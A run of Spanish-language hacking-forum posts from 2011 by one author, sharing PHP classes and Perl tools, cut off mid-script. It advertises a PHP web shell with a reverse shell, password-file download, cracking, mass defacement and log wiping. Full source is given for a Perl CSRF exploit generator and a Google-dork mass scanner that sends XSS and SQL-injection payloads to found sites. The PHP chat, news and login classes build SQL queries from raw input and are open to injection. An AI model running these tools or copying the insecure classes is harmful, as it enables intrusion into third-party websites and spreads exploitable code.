mysql_select_db($db);

echo 
"<table border=0 width='300' style='table-layout: fixed'>";
echo 
"<td class=main><b>Mini Chat 0.2</b></td><tr>";


$sumo mysql_query("SELECT MAX(id_comentario) FROM $db.mensajes");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$total $d;
}

$test $total 10;

if (
$test <= 0) {
next;
} else {
$resto $test;

for (
$i 1$i <= $resto$i++) {
@
mysql_query("DELETE FROM $db.mensajes where id_comentario='$i'");
}

}


$re = @mysql_query("select * from $db.mensajes order by id_comentario DESC");

while (
$ver = @mysql_fetch_array($re)) {
echo 
"<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr>";
}


echo 
"<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input type=text name=apodo size=25><br>
Texto : <input type=text name=msg size=25><br><br>
<input type=submit name=chatentro value=Mandar>
</form>
<td><tr>
<td class=main><b>Coded By Doddy H</b></td><tr>
</table>"
;


if (isset(
$_POST['chatentro'])) {

$sumo mysql_query("SELECT MAX(id_comentario) FROM $db"."."."mensajes");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$x_id $d+1;
}

$apodo htmlentities(addslashes($_POST['apodo']));
$mensaje  htmlentities(addslashes($_POST['msg']));

$apodo substr($apodo,0,70);
$mensaje substr($mensaje,0,70);

$insultos = array("lammer","lamer","puto","noob");

foreach (
$insultos as $con) {
$mensaje str_replace($con,"#$!*",$mensaje);
$apodo str_replace($con,"#$!*",$apodo);
}

@
mysql_query("INSERT INTO $db"."."."mensajes"."("."id_comentario".","."apodo".","."mensaje".")values('".$x_id."','".$apodo."','".$mensaje."')");

echo 
'<meta http-equiv="refresh" content=0;URL=>';

}

?>



Esa serian las tres partes , el chat tiene las siguientes opciones

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras

    Eso seria todo

    Cualquier vulnerabilidad la reportan

#416
PHP / [PHP Shell] Poison Shell 1.0
7 Octubre 2011, 01:26 AM
Aca les traigo la nueva version de mi phpshell


-- == Mejoras == --

  • Deteccion de archivo /etc/passwd o SAM para descargar
  • Cracker para FTP Y Mysql
  • PortScanner
  • MailBomber para varios emails
  • Posibilidad de buscar kernel en DB Exploit
  • ProxyWeb
  • Encode para md5,sha1,crc32
  • Mejoras de diseño
  • login y pass de la shell cifrado en md5

    -- == Funciones == --

  • Informacion : sobre el servidor web

  • Navegacion de archivos y directorios :

    * En esta opcion pueden editar , borrar ,renombrar y descargar archivos
    * Tambien podes crear directorios nuevos

  • Ejecutar comandos

  • Subir archivos a un directorio especifico

  • Base64 encode() decode()

  • Ejecutar codigo php con eval()

  • Cargar phpinfo()

  • Crackear hash md5 con salto o sin salto

  • BackShell : en esta version solo esta un reverse shell en perl hecho por mi

  • MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan

  • CleanLogs : limpia logs de linux

  • FTP

    * Crear directorios nuevos
    * Este cliente FTP permite navegar a traves de los directorios y archivos
    * Borrar archivos
    * Cambiar permisos de archivos
    * Descargar archivos

  • SQL Manager

    * Podes navegar a traves de la base datos podiendo ver todas
    las bases de datos y tablas activas
    * Ejecutar sentencias SQL
    * Descargar tablas
    * Descargar bases de datos

  • Cookies Manager

    * En esta opcion podemos ver todos los cookies activos
    * Podemos crear un cookie con el valor que queremos

  • Session Manager

    * En esta opcion podemos ver todas las sesiones activas
    * Podemos crear una sesion con el valor que queremos


  • Shell Protegida con user y pass

  • Autodestruccion de la shell


    El codigo de la shell esta en pastebin


    http://pastebin.com/FM7j0w7N


    Cualquier sugerencia o error digamenlo para mejorar


    Una imagen


#417
PHP / [PHP Class] Noticion 0.9
7 Octubre 2011, 01:22 AM
Bueno , en esta version le quite esa opcion de usar bases de datos que era innecesaria debido que
no se puede tener varias , gran error mio pero gracias por decirmelo , en esta version le quite algunas cosas
que no hacian falta y modifique el uso de bases de datos por tablas

Para realizar la conexion usamos


datos($host,$user,$pass,$db)


Para crear una nueva categoria usamos


crearcategoria($nuevacategoria)


Para borrar una categoria usamos


eliminarcategoria($eliminarcategoria)


Para devolver un array con todas las categorias disponibles usamos


listarcategorias()


Para crear una nueva noticia usamos


nuevo($x_titulo,$x_contenido,$x_fecha,$categoria)


Para modificar el contenido usamos


mod($categoria,$id,$tit,$con,$fech)


Para borrar una noticia usamos


eliminar($id,$categoria)


Para poder ver el contenido de una noticia usamos


vereste($id,$categoria)


Para recibir una lista de todas las noticias usamos


vertodo($categoria)


Para crear un comentario usamos


crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje)


Para modificar el contenido de un comentario usamos


modcomentario($categoria,$id,$fecha,$apodo,$contenido)


Para ver el contenido de un comentario usamos


vercomentarios($categoria,$id)


Para borrar un comentario


borrarcomentario($categoria,$id)


Para cerrar la conexion con el servidor mysql usamos


close()




<?php

/*

Noticion 0.9

(c) DOddy Hackman 2011

*/


class noticion {

private 
$db;

public function 
datos($host,$user,$pass,$db) {

$this->db $db;

if (@
mysql_connect($host,$user,$pass)) {
if (@
mysql_select_db($db)) {
return 
true;
}
}
}

public function 
crearcategoria($nuevacategoria) {

$todo1 "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
"
;

$todo2 "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
"
;

if (@
mysql_query($todo1)) {
if (@
mysql_query($todo2)) {
return 
true;
}
}
 
}

public function 
eliminarcategoria($eliminarcategoria) {

if (@
mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
if (@
mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
return 
true;
}

}
}


public function 
eliminar($id,$categoria) {
if (
is_numeric($id)) {
if (@
mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
return 
true;
}
}
}

public function 
nuevo($x_titulo,$x_contenido,$x_fecha,$categoria) {
$sumo mysql_query("SELECT MAX(id) FROM categoria_$categoria");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$x_id $d+1;
}
if (@
mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
return 
true
}
}

public function 
vereste($id,$categoria) {
if (
is_numeric($id)) {
$total = array();
if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
while (
$ver = @mysql_fetch_array($que)) {
return array(
$ver[0],$ver[1],$ver[2],$ver[3]);
}
}
}
}

public function 
listarcategorias() {

$found = array();

if (
$re = @mysql_query("show tables from ".$this->db)) {

while(
$dat mysql_fetch_row($re)) {
$separo split("_",$dat[0]);
array_push($found,$separo[1]);
}
return array(
$found);
}

}

public function 
vertodo($categoria) {
$total = array();
if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
while (
$ver = @mysql_fetch_array($que)) {
array_push($total,$ver);
}
return array(
$total);
}
}

public function 
mod($categoria,$id,$tit,$con,$fech) {
if (@
mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
return 
true
}
}

public function 
crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje) {

$sumo mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");

$s mysql_fetch_row($sumo);

foreach (
$s as $d) {
$x_id $d+1;
}

if (
mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
return 
true;
}

}


public function 
modcomentario($categoria,$id,$fecha,$apodo,$contenido) {
if (@
mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
return 
true;
}
}

public function 
vercomentarios($categoria,$id) {
$todo = array();
if (
$ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
while (
$que = @mysql_fetch_array($ver)) {
if (
$que[0] == 1) {
array_push($todo,$que);
}
}
return array(
$todo);
}

}


public function 
borrarcomentario($categoria,$id) {
if (
is_numeric($id)) {
if (@
mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
return 
true;
}
}
}


public function 
close() {
$test->close;
}


}

?>



Ejemplos de usos



<?php

include_once("noticion.php");

$name = New noticion;

if (
$name->datos("localhost","root","","test")) {
echo 
"conexion abierta<br>";

//$name->crearcategoria("py");

//if ($name->borrarcomentario("perl","1")) {
//echo "ok";
//}


//$name->modcomentario("perl","2","a","a","a");

list($recibo) = $name->vercomentarios("perl","1");

echo 
count($recibo)."<BR><BR>";

foreach(
$recibo as $a) {
echo 
$a[2]."<br>";
}


//$name->crearcomentario("perl","1","1","1","1");


//if ($name->nuevo("aa","aa","aa","perl")) {
//echo "ok";
//}

//$ver = $name->vereste("1","perl");

//echo $ver[0];

//$name->mod("perl","3","cambie","cambie","cambie");

//$re = $name->listarcategorias();

//$name->eliminar("5","perl");


//list($re) = $name->vertodo("perl");

//foreach ($re as $r) {
//echo $r[0]."<br>";
//echo $r[1]."<br><br>";
//}


//$name->crearcategoria("perl");

//foreach($t as $veo) {
//echo $veo[id]."<br>";
//}

$name->eliminarcategoria("py");
}




Culquier error , vulnerabilidad o mejorar deben decirlas para mejorar esta clase
#418
PHP / [PHP Class] Loginow 0.2 By Doddy H
7 Octubre 2011, 01:21 AM
Hola a todos.

Acabo de hacer mi primer clase en PHP , esta sirve
para realizar logins a webs con las sig opciones


* extrae valores del formulario para realizar la verificacion
* login mediante DB
* login mediante una contraseña md5 marcada por ustedes
* Si el login es exitoso crea una cookie

No eh alcando a probarla hasta fondo
Pero  aca tienen un ejemplo de como usarla


test.php



include_once("loginow.php");

if (isset($_POST['mandar'])) {
$nave = new loginow;
$nave->campos("usuario","password");
//if ($nave->secure("admin","098f6bcd4621d373cade4e832627b4f6")) {
if ($nave->database("localhost","root","","hackman","hackers","usuario","password")) {
$nave->cookienow("login");
echo "login correcto";
} else {
echo "Error en el login";
exit(1);
}
} else {
echo "
<form action='' method=POST>
Usuario : <input type=text name=usuario value=admin><br>
Password : <input type=text name=password value=test><br>
<input type=submit name=mandar value=mandar></form>";
}


Como ven usamos las funciones

campos(); # ponemos los nombres de las casillas user y pass para realizar la verificacion
secure(); #establecemos esta funcion para verificar mediante user y pass establecidos por nosotros
database(); #ponemos los datos de la DB y sus columnas para realizar la verificacion , claro la clase solo se basara en el primer casillero


loginow.php


<?php

/*

Simple Class for login of the webs

(c) DOddy Hackman 2010


*/

class loginow {

private 
$host;
private 
$db;
private 
$user;
private 
$pass;
private 
$tabla;
private 
$columna1;
private 
$columna2;
private 
$usereal;
private 
$passreal;
private 
$campouser;
private 
$campopass;
private 
$cookiename;

public 
function campos($campouser,$campopass) {
if (isset(
$_POST[$campouser])) {
$this->campouser $_POST[$campouser];
$this->campopass md5($_POST[$campopass]);
} else {
$this->campouser $campouser;
$this->campopass $campopass;
}
}

public function 
database($host,$dbuser,$dbpass,$db,$tabla,$columna1,$columna2) {
mysql_connect($host,$dbuser,$dbpass);
mysql_select_db($db);
$que mysql_query("SELECT * FROM ".$tabla);
while (
$test mysql_fetch_array($que)) {
if (
$this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
$this->usereal $test[$columna1];
$this->passreal $test[$columna2];
return 
true;
}
}
}

public function 
secure($user,$pass) { 
if (
$this->campouser == $user and $this->campopass == $pass) {
$this->usereal $user;
$this->passreal $pass;
return 
true;
} else {
return 
false;
}
}

public function 
cookienow($cookiename) {
setcookie($cookiename,base64_encode($this->usereal."@".$this->passreal));
}

}

?>



Caulquier mejora , fallo o vulnerabilidad encontrada deben decirmelo para mejorar

#419
PHP / [PHP Class] Get Info By Doddy H
7 Octubre 2011, 01:21 AM
Bueno , esto no es nada del otro mundo , solo una simple clase que te da informacion sobre el visitante


<?php 

/*

Simple Class GetInfo

By Doddy Hackman

*/


class getinfo {


public function 
ip() {
return 
htmlentities($_SERVER['SERVER_ADDR']);
}

public function 
navegador() {

$navegador get_browser($_SERVER['HTTP_USER_AGENT'], true);
return array(
htmlentities($navegador['browser']),htmlentities($navegador['version']));
}

public function 
so() {

$navegador get_browser($_SERVER['HTTP_USER_AGENT'], true);
return 
htmlentities($navegador['platform']);

}
}

?>



Funciones


ip() // Te da la IP
navegador() // Te da el navegador
so() // te da el SO


#420
Scripting / [Perl] CSRF T00l
7 Octubre 2011, 01:16 AM
Una simple herramienta para ahorrar trabajo en la creacion de un exploit
para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado
en una carpeta creada con el programa con el nombre de la web.


Código (perl) [Seleccionar]
#!usr/bin/perl
#CSRF T00l (C) Doddy Hackman 2011

use HTML::Form;
use URI::Split qw(uri_split);

installer();

head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
sintax();
}
copyright();

sub now {

unless(-f $_[0]) {
print "\n[-] File Not Found\n";
copyright();
}

print "\n[+] File to parse : ".$_[0]."\n\n";

open(FILE,$_[0]);
my $words = join q(),<FILE>;
close(FILE);

my @testar = HTML::Form->parse($words,"/");

$count = 0;
foreach my $test(@testar) {
$count++;
print "\n\n -- == Form $count == --\n\n";
if ($test->attr(name) eq "") {
print "[+] Name : No Found"."\n";
} else {
print "[+] Name : ".$test->attr(name)."\n";
}
print "[+] Action : ".$test->action."\n";  
print "[+] Method : ".$test->method."\n";
print "\n-- == Input == --\n\n";
@inputs = $test->inputs;
print "Type\t\tName\t\tValue\n";
foreach $in(@inputs) {
print $in->type."\t\t";
print $in->name."\t\t";
print $in->value."\t\t\n";
}
}  
print "\n\n[+] Form to generate : ";
chomp(my $op = <stdin>);
if ($op ne "") {
$op--;
my $probar = (HTML::Form->parse($words,"/"))[$op];

my $action = ver($words,$op);
my $fin = nombre($action).".html";
savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
@input = $probar->inputs;
foreach $in(@input) {
print "\n[+] Value of the ".$in->name." : ";
chomp(my $val = <stdin>);
savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
}
my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
</script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
";
savefile($final,$fin);
print "\n\n[+] CSRF Exploit Generated\n\n";
print "[+] To can see in logscsrf/".$fin."\n\n";
}
}

sub ver {
my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
my $action = $probar->action;
my $co = $action;
if ($action eq "" or $action eq "/"){
print "\n\n[+] Action : ";
chomp(my $action = <stdin>);
return $action;
} else {
return $co;
}
}

sub installer {
unless (-d "logs_csrf/") {
mkdir("logs_csrf/","777");
}}

sub nombre {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub savefile {
open (SAVE,">>logs_csrf/".$_[1]);
print SAVE $_[0]."\n";
close SAVE;
}

sub sintax {
print "\n[+] sintax : $0 <file>\n";
}

sub head {
print "\n\n -- == CSRF T00l == --\n\n";
}

sub copyright {
print "\n\n -- == Doddy Hackman 2011 == --\n\n";
exit(1);
}

# ¿ The End ?


Ejemplo de uso



C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\CSRF Tool>tool.pl read.txt


-- == CSRF T00l == --


[+] File to parse : read.txt



-- == Form 1 == --

[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET

-- == Input == --

Type            Name            Value
text            ver
password                veras
submit          control         Agregar


-- == Form 2 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --

Type            Name            Value
text            ac
submit          ee              aaa


[+] Form to generate : 1

[+] Value of the ver : aaa

[+] Value of the veras : aaa

[+] Value of the control : aaa


[+] CSRF Exploit Generated

[+] To can see in logscsrf/localhost.html



-- == Doddy Hackman 2011 == --


#421
Scripting / [Perl] Codificator version consola
7 Octubre 2011, 01:16 AM
Un simple codificador

Soportes :


  • Hex encode/decode
  • MD5 encode
  • Base64 encode/decode
  • ASCII encode/decode
  • URL encode/decode


    Código (perl) [Seleccionar]
    #!usr/bin/perl
    #Codificator version consola (C) Doddy Hackman 2011
    #This tool encode in :
    #
    #Hex
    #MD5
    #Base64
    #ASCII
    #URL
    #
    #

    use Digest::MD5;
    use Digest::SHA1;
    use MIME::Base64;
    use URI::Escape;

    sub head {
    system("cls");
    print q(



     @@@            @ @   @ @             @          
    @   @           @    @                @          
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @  
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @  
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @  
     @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @  



    );
    }

    head();
    print "\n[+] Options\n\n";
    print q(
    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit

    );
    while(true) {
    print "\n\n[+] Option : ";
    chomp(my $op = <stdin>);
    print "\n\n";
    if ($op eq 1) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] MD5 : ".Digest::MD5->md5_hex($string)."\n\n";
    }
    elsif ($op eq 2) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Base64 : ".encode_base64($string);
    }
    elsif ($op eq 3) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Base64 Decode : ".decode_base64($string)."\n";
    }
    elsif ($op eq 4) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Ascii : ".join ',',unpack "U*",$string;
    print "\n";
    }
    elsif ($op eq 5) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] Ascii decode : ".join q[], map { chr } split q[,],$string."\n";
    print "\n";
    }
    elsif ($op eq 6) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    $hex = "0x";
    for (split //,$string) {
    $hex .= sprintf "%x", ord;
    }
    print "\n\n[+] Hex : ".$hex."\n";
    }
    elsif ($op eq 7) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    $string =~ s/^0x//;
    $encode = join q[], map { chr hex } $string =~ /../g;
    print "\n\n[+] Hex decode : ".$encode."\n";
    }
    elsif ($op eq 8) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] URL Encode : ".uri_escape($string)."\n";
    }
    elsif ($op eq 9) {
    print "[+] String : ";
    chomp(my $string = <stdin>);
    print "\n\n[+] URL Decode : ".uri_unescape($string)."\n";
    }
    elsif ($op eq 10) {
    copyright();
    exit(1);
    }
    else {
    print "[+] Write good stupid !\n";
    }
    }

    sub copyright {
    print "\n-- == Doddy Hackman 2011 == --\n\n";
    }

    # ¿The End ?



    Ejemplo de uso







     @@@            @ @   @ @             @
    @   @           @    @                @
    @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
    @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
    @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @
    @      @   @ @   @ @  @  @ @     @   @ @  @   @ @
    @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @
     @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @




    [+] Options


    1 - MD5 encode
    2 - Base64 encode
    3 - Base64 decode
    4 - Ascii encode
    5 - Ascii decode
    6 - Hex encode
    7 - Hex decode
    8 - URL encode
    9 - URL decode
    10 - Exit



    [+] Option :
#422
Scripting / [Perl] Paranoic Scan 0.9
7 Octubre 2011, 01:15 AM
La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET
    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Paranoic Scan 0.9 Updated
    #(c)0ded by Doddy H 2010
    #
    #Search in google with a dork
    #Scan type :
    #
    #XSS
    #Full Source Discloure
    #LFI
    #RFI
    #SQL GET & POST
    #MSSQL
    #Oracle
    #Jet Database
    #Find HTTP Options y Server nAME
    #
    #

    use LWP::UserAgent;
    use HTML::LinkExtor;
    use HTML::Form;
    use URI::Split qw(uri_split);
    use IO::Socket;

    my $nave = LWP::UserAgent->new;
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
    $nave->timeout(5);

    installer();

    sta();

    sub sta {
    sub head {
    system 'cls';
    print qq(


    @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
    @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
    @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
    @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
    @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
    @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
    @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




    );
    }
    &menu;
    sub menu {
    &head;
    print "[a] : Scan a File\n";
    print "[b] : Search in google and scan the webs\n\n";
    print "[option] : ";
    chomp(my $op = <STDIN>);
    if ($op =~/a/ig) {
    print "\n[+] Wordlist : ";
    chomp(my $word = <STDIN>);
    my @paginas = repes(cortar(savewords($word)));
    my $option = &men;
    print "\n\n[+] Opening File\n";
    scan($option,@paginas);
    }
    elsif ($op=~/b/ig) {
    print "\n[+] Dork : ";
    chomp(my $dork = <STDIN>);
    print "[+] Pages : ";
    chomp(my $pag = <STDIN>);
    my $option = &men;
    print "\n\n[+] Searching in google\n";
    my @paginas = &google($dork,$pag);
    scan($option,@paginas);
    }
    else {
    &menu;
    }
    }
    sub scan {
    my ($option,@webs) = @_;
    print "\n\n[Status] : Scanning\n";
    print "[Webs Count] : ".int(@webs)."\n\n\n";
    for(@webs) {
    if ($option=~/S/ig) {
    scansql($_);
    }
    if ($option=~/L/ig) {
    lfi($_);
    }
    if ($option=~/R/ig) {
    rfi($_);
    }
    if ($option=~/F/ig) {
    fsd($_);
    }
    if ($option=~/X/ig) {
    scanxss($_);
    }
    if ($option=~/M/ig) {
    mssql($_);
    }
    if ($option=~/J/ig) {
    access($_);
    }
    if ($option=~/O/ig) {
    oracle($_);
    }
    if ($option=~/HT/ig) {
    http($_);
    }
    if ($option=~/A/ig) {
    scansql($_);
    scanxss($_);
    mssql($_);
    access($_);
    oracle($_);
    lfi($_);
    rfi($_);
    fsd($_);
    http($_);
    }
    }
    }
    print "\n\n[Status] : Finish\n";
    &finish;
    }

    sub toma {
    return $nave->get($_[0])->content;
    }

    sub savefile {
    open (SAVE,">>logs/".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }

    sub finish {
    print "\n\n\n(C) Doddy Hackman 2010\n\n";
    <STDIN>;
    sta();
    }

    sub google {
    my($a,$b) = @_;
    for ($pages=10;$pages<=$b;$pages=$pages+10) {
    $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
    my @links = get_links($code);
    for my $l(@links) {
    if ($l =~/webcache.googleusercontent.com/) {
    push(@url,$l);
    }
    }
    }

    for(@url) {
    if ($_ =~/cache:(.*?):(.*?)\+/) {
    push(@founds,$2);
    }
    }

    my @founds = repes(cortar(@founds));
    return @founds;
    }



    sub http {

    my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);

    my $socket = IO::Socket::INET->new(
    PeerAddr=>$auth,
    PeerPort=>"80",
    Proto=>"tcp");

    print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
    read $socket,$resultado,"1000";

    if ($resultado=~/Server:(.*)/g) {
    my $server = $1;

    savefile("http-logs.txt","[+] Page : $auth"."\n");
    savefile("http-logs.txt","[+] Server : ".$server."\n");
    }
    if ($resultado=~/Allow: (.*)/g) {
    my $options = $1;
    savefile("http-logs.txt","[+] Options : ".$options."\n");
    }
    $socket->close;
    }

    sub scanxss {

    my $page = shift;
    chomp $page;

    my @testar = HTML::Form->parse(toma($page),"/");
    my @botones_names;
    my @botones_values;
    my @orden;
    my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
    my @get_founds;
    my @post_founds;
    my @ordenuno;
    my @ordendos;

    my $contador_forms = 0;

    my $valor = "doddyhackman";

    for my $test(@testar) {
    $contador_forms++;
    if ($test->method eq "POST") {
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    push(@ordenuno,$in->name,$pa[0]);
    push(@ordendos,$in->name,$pa[1]);
    }}

    for my $n(0..int(@botones_names)-1) {
    my @preuno = @ordenuno;
    my @predos = @ordendos;
    push(@preuno,$botones_names[$n],$botones_values[$n]);
    push(@predos,$botones_names[$n],$botones_values[$n]);

    my $codeuno = $nave->post($page,\@preuno)->content;
    my $codedos = $nave->post($page,\@predos)->content;
    if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
    $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
    if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
    push(@post_founds,$contador_forms);
    } else {
    push(@post_founds,$test->attr(name));
    }}}
    } else { #Fin de metodo POST
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    $orden.=''.$in->name.'='.$valor.'&';
    }}
    chop($orden);
    for my $n(0..int(@botones_names)-1) {
    my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
    my $final = $orden.$partedos;
    for my $strin(@pa) {
    chomp $strin;
    $final=~s/doddyhackman/$strin/;
    $code = toma($page."?".$final);
    my $strin = "\Q$strin\E";
    if ($code=~/$strin/) {
    push(@get_founds,$page."?".$final);
    }}}}}

    my @get_founds = repes(@get_founds);
    if (int(@get_founds) ne 0) {
    for(@get_founds) {
    savefile("xss-logs.txt","[+] XSS Found : $_");
    print "[+] XSS Found : $_\n\a";
    }}

    my @post_founds = repes(@post_founds);
    if (int(@post_founds) ne 0) {
    for my $t(@post_founds) {
    if ($t =~/^\d+$/) {
    savefile("xss-logs.txt","[+] XSS : Form $t in $page");
    print "[+] XSS : Form $t in $page\n\a";
    }}}}


    sub scansql {

    my $page = shift;
    my $copia = $page;

    $co = toma($page."'");

    if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
    savefile("sql-logs.txt","[+] SQL : $page");
    print "[+] SQLI : $page\a\n";
    }

    if ($page=~/(.*)\?(.*)/) {
    my $page = $1;

    my @testar = HTML::Form->parse(toma($page),"/");
    my @botones_names;
    my @botones_values;
    my @orden;
    my @get_founds;
    my @post_founds;
    my @ordenuno;
    my @ordendos;

    my $contador_forms = 0;

    my $valor = "doddyhackman";

    for my $test(@testar) {
    $contador_forms++;
    if ($test->method eq "POST") {
    my @inputs = $test->inputs;
    for my $in(@inputs) {
    if ($in->type eq "submit") {
    if ($in->name eq "") {
    push(@botones_names,"submit");
    }
    push(@botones_names,$in->name);
    push(@botones_values,$in->value);
    } else {
    push(@ordenuno,$in->name,"'");
    }}

    for my $n(0..int(@botones_names)-1) {
    my @preuno = @ordenuno;
    push(@preuno,$botones_names[$n],$botones_values[$n]);
    my $code = $nave->post($page,\@preuno)->content;
    if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
    if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
    push(@post_founds,$contador_forms);
    } else {
    push(@post_founds,$test->attr(name));
    }}}}

    my @post_founds = repes(@post_founds);
    if (int(@post_founds) ne 0) {
    for my $t(@post_founds) {
    if ($t =~/^\d+$/) {
    savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
    print "[+] SQLI : Form $t in $page\n\a";
    }}}}}}

    sub access {

    my $page = shift;
    $code1 = toma($page."'");
